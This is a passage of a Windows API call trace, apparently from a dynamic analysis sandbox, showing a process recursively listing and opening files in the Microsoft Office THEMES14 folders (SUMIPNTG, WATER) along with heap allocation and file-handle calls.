ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0055.346] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.346] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.346] GetLastError () returned 0x12 [0055.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01590) returned 1 [0055.346] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01488) returned 1 [0055.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.346] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0055.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.351] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf03430 [0055.352] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf03430, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf03430, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03430) returned 1 [0055.352] NtClose (Handle=0x170) returned 0x0 [0055.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01488 [0055.352] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.352] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.352] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.352] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0055.352] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.353] GetLastError () returned 0x12 [0055.353] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.353] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.353] GetLastError () returned 0x12 [0055.353] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01488) returned 1 [0055.353] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.353] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01590) returned 1 [0055.353] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0055.353] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0055.353] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.355] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf04b28 [0055.355] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf04b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf04b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.355] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf04b28) returned 1 [0055.355] NtClose (Handle=0x17c) returned 0x0 [0055.355] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.356] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.356] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.356] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00a80 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf02c48 [0055.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.356] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00aa0 [0055.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf02d50 [0055.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.357] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00ac0 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf02e58 [0055.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.357] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00ae0 [0055.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf02f60 [0055.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.357] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0055.357] GetLastError () returned 0x12 [0055.357] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.357] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.358] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.358] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.358] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.358] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0055.358] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0055.358] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, 